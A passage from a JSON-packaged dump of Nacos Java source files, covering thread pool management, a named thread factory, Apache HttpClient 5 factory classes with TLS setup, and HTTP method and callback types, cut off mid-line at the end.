THREAD_POOL_MANAGER.register(DEFAULT_NAMESPACE, group, executorService);\n            return executorService;\n        }\n        \n        /**\n         * Create a new fixed executor service with input thread factory and register to manager.\n         *\n         * @param group         group name\n         * @param nThreads      thread number\n         * @param threadFactory thread factory\n         * @return new fixed executor service\n         */\n        public static ExecutorService newFixedExecutorService(final String group, final int nThreads,\n                final ThreadFactory threadFactory) {\n            ExecutorService executorService = Executors.newFixedThreadPool(nThreads, threadFactory);\n            THREAD_POOL_MANAGER.register(DEFAULT_NAMESPACE, group, executorService);\n            return executorService;\n        }\n        \n        /**\n         * Create a new single scheduled executor service with input thread factory and register to manager.\n         *\n         * @param group         group name\n         * @param threadFactory thread factory\n         * @return new single scheduled executor service\n         */\n        public static ScheduledExecutorService newSingleScheduledExecutorService(final String group,\n                final ThreadFactory threadFactory) {\n            ScheduledExecutorService executorService = Executors.newScheduledThreadPool(1, threadFactory);\n            THREAD_POOL_MANAGER.register(DEFAULT_NAMESPACE, group, executorService);\n            return executorService;\n        }\n        \n        /**\n         * Create a new scheduled executor service with input thread factory and register to manager.\n         *\n         * @param group         group name\n         * @param nThreads      thread number\n         * @param threadFactory thread factory\n         * @return new scheduled executor service\n         */\n        public static ScheduledExecutorService newScheduledExecutorService(final String group, final int nThreads,\n                final ThreadFactory threadFactory) {\n            ScheduledExecutorService executorService = Executors.newScheduledThreadPool(nThreads, threadFactory);\n            THREAD_POOL_MANAGER.register(DEFAULT_NAMESPACE, group, executorService);\n            return executorService;\n        }\n        \n        /**\n         * Create a new custom executor service and register to manager.\n         *\n         * @param group           group name\n         * @param coreThreads     core thread number\n         * @param maxThreads      max thread number\n         * @param keepAliveTimeMs keep alive time milliseconds\n         * @param threadFactory   thread factory\n         * @return new custom executor service\n         */\n        public static ThreadPoolExecutor newCustomerThreadExecutor(final String group, final int coreThreads,\n                final int maxThreads, final long keepAliveTimeMs, final ThreadFactory threadFactory) {\n            ThreadPoolExecutor executor = new ThreadPoolExecutor(coreThreads, maxThreads, keepAliveTimeMs,\n                    TimeUnit.MILLISECONDS, new LinkedBlockingQueue<>(), threadFactory);\n            THREAD_POOL_MANAGER.register(DEFAULT_NAMESPACE, group, executor);\n            return executor;\n        }\n    \n        @JustForTest\n        public static ThreadPoolManager getThreadPoolManager() {\n            return THREAD_POOL_MANAGER;\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/executor/NameThreadFactory.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.executor;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.concurrent.ThreadFactory;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n/**\n * Name thread factory.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class NameThreadFactory implements ThreadFactory {\n    \n    private final AtomicInteger id = new AtomicInteger(0);\n    \n    private String name;\n    \n    public NameThreadFactory(String name) {\n        if (!name.endsWith(StringUtils.DOT)) {\n            name += StringUtils.DOT;\n        }\n        this.name = name;\n    }\n    \n    @Override\n    public Thread newThread(Runnable r) {\n        String threadName = name + id.getAndIncrement();\n        Thread thread = new Thread(r, threadName);\n        thread.setDaemon(true);\n        return thread;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/executor/ThreadPoolManager.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.executor;\n\nimport com.alibaba.nacos.common.JustForTest;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n/**\n * // TODO Access Metric.\n *\n * <p>For unified management of thread pool resources, the consumer can simply call the register method to {@link\n * ThreadPoolManager#register(String, String, ExecutorService)} the thread pool that needs to be included in the life\n * cycle management of the resource\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic final class ThreadPoolManager {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ThreadPoolManager.class);\n    \n    private Map<String, Map<String, Set<ExecutorService>>> resourcesManager;\n    \n    private static final ThreadPoolManager INSTANCE = new ThreadPoolManager();\n    \n    private static final AtomicBoolean CLOSED = new AtomicBoolean(false);\n    \n    static {\n        INSTANCE.init();\n        ThreadUtils.addShutdownHook(new Thread(() -> {\n            LOGGER.info(\"[ThreadPoolManager] Start destroying ThreadPool\");\n            shutdown();\n            LOGGER.info(\"[ThreadPoolManager] Completed destruction of ThreadPool\");\n        }));\n    }\n    \n    public static ThreadPoolManager getInstance() {\n        return INSTANCE;\n    }\n    \n    private ThreadPoolManager() {\n    }\n    \n    private void init() {\n        resourcesManager = new ConcurrentHashMap<>(8);\n    }\n    \n    /**\n     * Register the thread pool resources with the resource manager.\n     *\n     * @param namespace namespace name\n     * @param group     group name\n     * @param executor  {@link ExecutorService}\n     */\n    public void register(String namespace, String group, ExecutorService executor) {\n        resourcesManager.compute(namespace, (namespaceKey, map) -> {\n            if (map == null) {\n                map = new HashMap<>(8);\n            }\n            map.computeIfAbsent(group, groupKey -> new HashSet<>()).add(executor);\n            return map;\n        });\n    }\n    \n    /**\n     * Cancel the uniform lifecycle management for all threads under this resource.\n     *\n     * @param namespace namespace name\n     * @param group     group name\n     */\n    public void deregister(String namespace, String group) {\n        resourcesManager.computeIfPresent(namespace, (key, map) -> {\n            map.remove(group);\n            return map;\n        });\n    }\n    \n    /**\n     * Undoing the uniform lifecycle management of {@link ExecutorService} under this resource.\n     *\n     * @param namespace namespace name\n     * @param group     group name\n     * @param executor  {@link ExecutorService}\n     */\n    public void deregister(String namespace, String group, ExecutorService executor) {\n        resourcesManager.computeIfPresent(namespace, (namespaceKey, map) -> {\n            map.computeIfPresent(group, (groupKey, set) -> {\n                set.remove(executor);\n                return set;\n            });\n            return map;\n        });\n    }\n    \n    /**\n     * Destroys all thread pool resources under this namespace.\n     *\n     * @param namespace namespace\n     */\n    public void destroy(final String namespace) {\n        Map<String, Set<ExecutorService>> map = resourcesManager.remove(namespace);\n        if (map != null) {\n            for (Set<ExecutorService> set : map.values()) {\n                for (ExecutorService executor : set) {\n                    ThreadUtils.shutdownThreadPool(executor);\n                }\n                set.clear();\n            }\n            map.clear();\n        }\n    }\n    \n    /**\n     * This namespace destroys all thread pool resources under the grouping.\n     *\n     * @param namespace namespace\n     * @param group     group\n     */\n    public void destroy(final String namespace, final String group) {\n        resourcesManager.computeIfPresent(namespace, (namespaceKey, map) -> {\n            map.computeIfPresent(group, (groupKey, set) -> {\n                for (ExecutorService executor : set) {\n                    ThreadUtils.shutdownThreadPool(executor);\n                }\n                set.clear();\n                return null;\n            });\n            return map;\n        });\n    }\n    \n    /**\n     * Shutdown thread pool manager.\n     */\n    public static void shutdown() {\n        if (!CLOSED.compareAndSet(false, true)) {\n            return;\n        }\n        Set<String> namespaces = INSTANCE.resourcesManager.keySet();\n        for (String namespace : namespaces) {\n            INSTANCE.destroy(namespace);\n        }\n    }\n    \n    @JustForTest\n    public Map<String, Map<String, Set<ExecutorService>>> getResourcesManager() {\n        return resourcesManager;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/AbstractApacheHttpClientFactory.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.client.request.DefaultHttpClientRequest;\nimport org.apache.hc.client5.http.config.ConnectionConfig;\nimport org.apache.hc.client5.http.config.RequestConfig;\nimport org.apache.hc.client5.http.impl.classic.HttpClients;\nimport org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager;\nimport org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManagerBuilder;\nimport org.apache.hc.core5.http.protocol.RequestContent;\nimport org.apache.hc.core5.util.Timeout;\n\n/**\n * apache http client factory implements.\n *\n * @author mai.jh\n */\npublic abstract class AbstractApacheHttpClientFactory extends AbstractHttpClientFactory {\n    \n    @Override\n    public final NacosRestTemplate createNacosRestTemplate() {\n        final HttpClientConfig originalRequestConfig = buildHttpClientConfig();\n        final RequestConfig defaultConfig = getRequestConfig();\n        // in latest version of Apache Http Components all client settings have been moved into manager\n        PoolingHttpClientConnectionManager poolingManager = PoolingHttpClientConnectionManagerBuilder\n                .create()\n                .setMaxConnTotal(originalRequestConfig.getMaxConnTotal())\n                .setMaxConnPerRoute(originalRequestConfig.getMaxConnPerRoute())\n                .setDefaultConnectionConfig(ConnectionConfig\n                        .custom()\n                        .setTimeToLive(Timeout.of(originalRequestConfig.getConnTimeToLive(),\n                                originalRequestConfig.getConnTimeToLiveTimeUnit()))\n                        .build())\n                .build();\n        return new NacosRestTemplate(assignLogger(), new DefaultHttpClientRequest(\n                HttpClients.custom()\n                        .addRequestInterceptorLast(new RequestContent(true))\n                        .setDefaultRequestConfig(defaultConfig)\n                        .setUserAgent(originalRequestConfig.getUserAgent())\n                        .setConnectionManager(poolingManager)\n                        .build(),\n                defaultConfig));\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/AbstractHttpClientFactory.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.http.client.NacosAsyncRestTemplate;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.client.request.DefaultAsyncHttpClientRequest;\nimport com.alibaba.nacos.common.http.client.request.JdkHttpClientRequest;\nimport com.alibaba.nacos.common.tls.SelfHostnameVerifier;\nimport com.alibaba.nacos.common.tls.TlsFileWatcher;\nimport com.alibaba.nacos.common.tls.TlsHelper;\nimport com.alibaba.nacos.common.tls.TlsSystemConfig;\n\nimport java.nio.ByteBuffer;\nimport java.util.concurrent.TimeUnit;\nimport java.util.function.BiConsumer;\n\nimport org.apache.hc.client5.http.config.RequestConfig;\nimport org.apache.hc.client5.http.impl.async.HttpAsyncClients;\nimport org.apache.hc.client5.http.impl.nio.PoolingAsyncClientConnectionManagerBuilder;\nimport org.apache.hc.client5.http.nio.AsyncClientConnectionManager;\nimport org.apache.hc.client5.http.ssl.DefaultClientTlsStrategy;\nimport org.apache.hc.client5.http.ssl.DefaultHostnameVerifier;\nimport org.apache.hc.core5.http.nio.ssl.TlsStrategy;\nimport org.apache.hc.core5.http.protocol.RequestContent;\nimport org.apache.hc.core5.reactor.DefaultConnectingIOReactor;\nimport org.apache.hc.core5.reactor.IOEventHandler;\nimport org.apache.hc.core5.reactor.IOReactorConfig;\nimport org.apache.hc.core5.reactor.IOSession;\nimport org.apache.hc.core5.util.Timeout;\nimport org.slf4j.Logger;\n\nimport javax.net.ssl.HostnameVerifier;\nimport javax.net.ssl.HttpsURLConnection;\nimport javax.net.ssl.SSLContext;\nimport java.io.IOException;\nimport java.security.KeyManagementException;\nimport java.security.NoSuchAlgorithmException;\n\n/**\n * AbstractHttpClientFactory Let the creator only specify the http client config.\n *\n * @author mai.jh\n */\npublic abstract class AbstractHttpClientFactory implements HttpClientFactory {\n    \n    private static final String ASYNC_THREAD_NAME = \"nacos-http-async-client\";\n    \n    private static final String ASYNC_IO_REACTOR_NAME = ASYNC_THREAD_NAME + \"#I/O Reactor\";\n    \n    @Override\n    public NacosRestTemplate createNacosRestTemplate() {\n        HttpClientConfig httpClientConfig = buildHttpClientConfig();\n        final JdkHttpClientRequest clientRequest = new JdkHttpClientRequest(httpClientConfig);\n        \n        // enable ssl\n        initTls((sslContext, hostnameVerifier) -> {\n            clientRequest.setSslContext(loadSslContext());\n            clientRequest.replaceSslHostnameVerifier(hostnameVerifier);\n        }, filePath -> clientRequest.setSslContext(loadSslContext()));\n        \n        return new NacosRestTemplate(assignLogger(), clientRequest);\n    }\n    \n    @Override\n    public NacosAsyncRestTemplate createNacosAsyncRestTemplate() {\n        final IOReactorConfig ioReactorConfig = getIoReactorConfig();\n        final HttpClientConfig originalRequestConfig = buildHttpClientConfig();\n        final DefaultConnectingIOReactor ioreactor = getIoReactor(ASYNC_IO_REACTOR_NAME);\n        final RequestConfig defaultConfig = getRequestConfig();\n        final AsyncClientConnectionManager connectionManager = getConnectionManager(originalRequestConfig);\n        monitorAndExtension(connectionManager);\n        \n        // issue#12028 upgrade to httpclient5\n        return new NacosAsyncRestTemplate(assignLogger(), new DefaultAsyncHttpClientRequest(\n                HttpAsyncClients.custom()\n                        .addRequestInterceptorLast(new RequestContent(true))\n                        .setThreadFactory(new NameThreadFactory(ASYNC_THREAD_NAME))\n                        .setIOReactorConfig(ioReactorConfig)\n                        // catch all exceptions here instead of in DefaultConnectingIOReactor\n                        .setIoReactorExceptionCallback((ex) -> {\n                        \n                        })\n                        .setDefaultRequestConfig(defaultConfig)\n                        .setUserAgent(originalRequestConfig.getUserAgent())\n                        .setConnectionManager(connectionManager)\n                        .build(),\n                ioreactor, defaultConfig)\n        );\n    }\n    \n    private DefaultConnectingIOReactor getIoReactor(String threadName) {\n        return new DefaultConnectingIOReactor(\n                (session, ojb) -> new IOEventHandler() {\n                    @Override\n                    public void connected(IOSession ioSession) throws IOException {\n                    \n                    }\n                    \n                    @Override\n                    public void inputReady(IOSession ioSession, ByteBuffer byteBuffer) throws IOException {\n                    \n                    }\n                    \n                    @Override\n                    public void outputReady(IOSession ioSession) throws IOException {\n                    \n                    }\n                    \n                    @Override\n                    public void timeout(IOSession ioSession, Timeout timeout) throws IOException {\n                    \n                    }\n                    \n                    @Override\n                    public void exception(IOSession ioSession, Exception e) {\n                    \n                    }\n                    \n                    @Override\n                    public void disconnected(IOSession ioSession) {\n                    \n                    }\n                },\n                getIoReactorConfig(),\n                new NameThreadFactory(threadName),\n                null,\n                // handle exception in io reactor\n                (ex) -> {\n                    if (ex instanceof IOException) {\n                        assignLogger().warn(\"[AsyncClientConnectionManager] handle IOException, ignore it.\", ex);\n                    } else if (ex instanceof RuntimeException) {\n                        assignLogger().warn(\"[AsyncClientConnectionManager] handle RuntimeException, ignore it.\", ex);\n                    } else {\n                        assignLogger().error(\"[DefaultConnectingIOReactor] Exception! I/O Reactor error time: {}\",\n                                System.currentTimeMillis(), ex.getCause());\n                    }\n                },\n                null,\n                null\n        );\n    }\n    \n    /**\n     * create the {@link AsyncClientConnectionManager}, the code mainly from {@link PoolingAsyncClientConnectionManagerBuilder#build()}. we\n     * add the {@link Callback} to handle the {@link IOException} and {@link RuntimeException} thrown\n     * by the {@link DefaultConnectingIOReactor} when process the event of Network. Using this way\n     * to avoid the {@link DefaultConnectingIOReactor} killed by unknown error of network.\n     *\n     * @param originalRequestConfig request config.\n     * @return {@link AsyncClientConnectionManager}.\n     */\n    private AsyncClientConnectionManager getConnectionManager(HttpClientConfig originalRequestConfig) {\n        try {\n            SSLContext sslcontext = SSLContext.getDefault();\n            HostnameVerifier hostnameVerifier = new DefaultHostnameVerifier();\n            TlsStrategy sslStrategy = new DefaultClientTlsStrategy(sslcontext, hostnameVerifier);\n            // manager no more needs IOReactor\n            return PoolingAsyncClientConnectionManagerBuilder\n                    // old method Registry::register(\"http\", NoopIOSessionStrategy.INSTANCE) has been a default strategy\n                    .create()\n                    // refers to old Registry::register(\"https\", sslStrategy)\n                    .setTlsStrategy(sslStrategy)\n                    // setMaxTotal now can be used in builder\n                    .setMaxConnTotal(originalRequestConfig.getMaxConnTotal())\n                    // setDefaultMaxPerRoute now can be used in builder\n                    .setMaxConnPerRoute(originalRequestConfig.getMaxConnPerRoute())\n                    .build();\n        } catch (NoSuchAlgorithmException e) {\n            throw new RuntimeException(e);\n        }\n    }\n    \n    protected IOReactorConfig getIoReactorConfig() {\n        HttpClientConfig httpClientConfig = buildHttpClientConfig();\n        return IOReactorConfig.custom().setIoThreadCount(httpClientConfig.getIoThreadCount()).build();\n    }\n    \n    protected RequestConfig getRequestConfig() {\n        HttpClientConfig httpClientConfig = buildHttpClientConfig();\n        return RequestConfig\n                .custom()\n                .setConnectTimeout(httpClientConfig.getConTimeOutMillis(), TimeUnit.MILLISECONDS)\n                .setResponseTimeout(httpClientConfig.getReadTimeOutMillis(), TimeUnit.MILLISECONDS)\n                .setConnectionRequestTimeout(httpClientConfig.getConnectionRequestTimeout(), TimeUnit.MILLISECONDS)\n                .setContentCompressionEnabled(httpClientConfig.getContentCompressionEnabled())\n                .setMaxRedirects(httpClientConfig.getMaxRedirects()).build();\n    }\n    \n    protected void initTls(BiConsumer<SSLContext, HostnameVerifier> initTlsBiFunc,\n            TlsFileWatcher.FileChangeListener tlsChangeListener) {\n        if (!TlsSystemConfig.tlsEnable) {\n            return;\n        }\n        \n        final HostnameVerifier hv = HttpsURLConnection.getDefaultHostnameVerifier();\n        final SelfHostnameVerifier selfHostnameVerifier = new SelfHostnameVerifier(hv);\n        \n        initTlsBiFunc.accept(loadSslContext(), selfHostnameVerifier);\n        \n        if (tlsChangeListener != null) {\n            try {\n                TlsFileWatcher.getInstance()\n                        .addFileChangeListener(tlsChangeListener, TlsSystemConfig.tlsClientTrustCertPath,\n                                TlsSystemConfig.tlsClientKeyPath);\n            } catch (IOException e) {\n                assignLogger().error(\"add tls file listener fail\", e);\n            }\n        }\n    }\n    \n    @SuppressWarnings(\"checkstyle:abbreviationaswordinname\")\n    protected synchronized SSLContext loadSslContext() {\n        try {\n            return TlsHelper.buildSslContext(true);\n        } catch (NoSuchAlgorithmException | KeyManagementException e) {\n            assignLogger().error(\"Failed to create SSLContext\", e);\n        }\n        return null;\n    }\n    \n    /**\n     * build http client config.\n     *\n     * @return HttpClientConfig\n     */\n    protected abstract HttpClientConfig buildHttpClientConfig();\n    \n    /**\n     * assign Logger.\n     *\n     * @return Logger\n     */\n    protected abstract Logger assignLogger();\n    \n    /**\n     * add some monitor and do some extension. default empty implementation, implemented by subclass\n     */\n    protected void monitorAndExtension(AsyncClientConnectionManager connectionManager) {\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/BaseHttpMethod.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport com.alibaba.nacos.common.utils.HttpMethod;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.apache.hc.client5.http.classic.methods.HttpDelete;\nimport org.apache.hc.client5.http.classic.methods.HttpGet;\nimport org.apache.hc.client5.http.classic.methods.HttpHead;\nimport org.apache.hc.client5.http.classic.methods.HttpPatch;\nimport org.apache.hc.client5.http.classic.methods.HttpPost;\nimport org.apache.hc.client5.http.classic.methods.HttpPut;\nimport org.apache.hc.client5.http.classic.methods.HttpTrace;\nimport org.apache.hc.client5.http.classic.methods.HttpUriRequestBase;\n\nimport java.net.URI;\n\n/**\n * Base http method.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic enum BaseHttpMethod {\n    \n    /**\n     * get request.\n     */\n    GET(HttpMethod.GET) {\n        @Override\n        protected HttpUriRequestBase createRequest(String url) {\n            return new HttpGet(url);\n        }\n    },\n    \n    GET_LARGE(HttpMethod.GET_LARGE) {\n        @Override\n        protected HttpUriRequestBase createRequest(String url) {\n            return new HttpGetWithEntity(url);\n        }\n    },\n    \n    /**\n     * post request.\n     */\n    POST(HttpMethod.POST) {\n        @Override\n        protected HttpUriRequestBase createRequest(String url) {\n            return new HttpPost(url);\n        }\n    },\n    \n    /**\n     * put request.\n     */\n    PUT(HttpMethod.PUT) {\n        @Override\n        protected HttpUriRequestBase createRequest(String url) {\n            return new HttpPut(url);\n        }\n    },\n    \n    /**\n     * delete request.\n     */\n    DELETE(HttpMethod.DELETE) {\n        @Override\n        protected HttpUriRequestBase createRequest(String url) {\n            return new HttpDelete(url);\n        }\n    },\n    \n    /**\n     * delete Large request.\n     */\n    DELETE_LARGE(HttpMethod.DELETE_LARGE) {\n        @Override\n        protected HttpUriRequestBase createRequest(String url) {\n            return new HttpDeleteWithEntity(url);\n        }\n    },\n    \n    /**\n     * head request.\n     */\n    HEAD(HttpMethod.HEAD) {\n        @Override\n        protected HttpUriRequestBase createRequest(String url) {\n            return new HttpHead(url);\n        }\n    },\n    \n    /**\n     * trace request.\n     */\n    TRACE(HttpMethod.TRACE) {\n        @Override\n        protected HttpUriRequestBase createRequest(String url) {\n            return new HttpTrace(url);\n        }\n    },\n    \n    /**\n     * patch request.\n     */\n    PATCH(HttpMethod.PATCH) {\n        @Override\n        protected HttpUriRequestBase createRequest(String url) {\n            return new HttpPatch(url);\n        }\n    },\n    \n    /**\n     * options request.\n     */\n    OPTIONS(HttpMethod.OPTIONS) {\n        @Override\n        protected HttpUriRequestBase createRequest(String url) {\n            return new HttpTrace(url);\n        }\n    };\n    \n    private String name;\n    \n    BaseHttpMethod(String name) {\n        this.name = name;\n    }\n    \n    public HttpUriRequestBase init(String url) {\n        return createRequest(url);\n    }\n    \n    protected HttpUriRequestBase createRequest(String url) {\n        throw new UnsupportedOperationException();\n    }\n    \n    /**\n     * Value of {@link BaseHttpMethod}.\n     *\n     * @param name method name\n     * @return {@link BaseHttpMethod}\n     */\n    public static BaseHttpMethod sourceOf(String name) {\n        for (BaseHttpMethod method : BaseHttpMethod.values()) {\n            if (StringUtils.equalsIgnoreCase(name, method.name)) {\n                return method;\n            }\n        }\n        throw new IllegalArgumentException(\"Unsupported http method : \" + name);\n    }\n    \n    /**\n     * get Large implemented.\n     * <p>\n     * Mainly used for GET request parameters are relatively large, can not be placed on the URL, so it needs to be\n     * placed in the body.\n     * </p>\n     */\n    public static class HttpGetWithEntity extends HttpUriRequestBase {\n        \n        public static final String METHOD_NAME = \"GET\";\n        \n        public HttpGetWithEntity(String url) {\n            super(METHOD_NAME, URI.create(url));\n        }\n    }\n    \n    /**\n     * delete Large implemented.\n     * <p>\n     * Mainly used for DELETE request parameters are relatively large, can not be placed on the URL, so it needs to be\n     * placed in the body.\n     * </p>\n     */\n    public static class HttpDeleteWithEntity extends HttpUriRequestBase {\n        \n        public static final String METHOD_NAME = \"DELETE\";\n        \n        public HttpDeleteWithEntity(String url) {\n            super(METHOD_NAME, URI.create(url));\n        }\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/Callback.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport com.alibaba.nacos.common.model.RestResult;\n\n/**\n * Http callback.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic interface Callback<T> {\n    \n    /**\n     * Callback after the request is responded.\n     *\n     * @param result {@link RestResult}\n     */\n    void onReceive(RestResult<T> result);\n    \n    /**\n     * An error occurred during the request.\n     *\n     * @param throwable {@link Throwable}\n     */\n    void onError(Throwable throwable);\n    \n    /**\n     * Callback when the request is cancelled.\n     */\n    void onCancel();\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/DefaultHttpClientFactory.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport org.slf4j.Logger;\n\n/**\n * default http client factory.\n *\n * @author mai.jh\n */\npublic class DefaultHttpClientFactory extends AbstractHttpClientFactory {\n    \n    private static final int TIMEOUT = Integer.getInteger(\"nacos.http.timeout\", 5000);\n    \n    private final Logger logger;\n    \n    public DefaultHttpClientFactory(Logger logger) {\n        this.logger = logger;\n    }\n    \n    @Override\n    protected HttpClientConfig buildHttpClientConfig() {\n        return HttpClientConfig.builder().setConTimeOutMillis(TIMEOUT).setReadTimeOutMillis(TIMEOUT >> 1).build();\n    }\n    \n    @Override\n    protected Logger assignLogger() {\n        return logger;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/HttpClientBeanHolder.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport com.alibaba.nacos.common.http.client.NacosAsyncRestTemplate;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.utils.ExceptionUtil;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n/**\n * Create a rest template to ensure that each custom client config and rest template are in one-to-one correspondence.\n *\n * @author mai.jh\n */\npublic final class HttpClientBeanHolder {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(HttpClientBeanHolder.class);\n    \n    private static final Map<String, NacosRestTemplate> SINGLETON_REST = new HashMap<>(10);\n    \n    private static final Map<String, NacosAsyncRestTemplate> SINGLETON_ASYNC_REST = new HashMap<>(10);\n    \n    private static final AtomicBoolean ALREADY_SHUTDOWN = new AtomicBoolean(false);\n    \n    static {\n        ThreadUtils.addShutdownHook(HttpClientBeanHolder::shutdown);\n    }\n    \n    public static NacosRestTemplate getNacosRestTemplate(Logger logger) {\n        return getNacosRestTemplate(new DefaultHttpClientFactory(logger));\n    }\n    \n    public static NacosRestTemplate getNacosRestTemplate(HttpClientFactory httpClientFactory) {\n        if (httpClientFactory == null) {\n            throw new NullPointerException(\"httpClientFactory is null\");\n        }\n        String factoryName = httpClientFactory.getClass().getName();\n        NacosRestTemplate nacosRestTemplate = SINGLETON_REST.get(factoryName);\n        if (nacosRestTemplate == null) {\n            synchronized (SINGLETON_REST) {\n                nacosRestTemplate = SINGLETON_REST.get(factoryName);\n                if (nacosRestTemplate != null) {\n                    return nacosRestTemplate;\n                }\n                nacosRestTemplate = httpClientFactory.createNacosRestTemplate();\n                SINGLETON_REST.put(factoryName, nacosRestTemplate);\n            }\n        }\n        return nacosRestTemplate;\n    }\n    \n    public static NacosAsyncRestTemplate getNacosAsyncRestTemplate(Logger logger) {\n        return getNacosAsyncRestTemplate(new 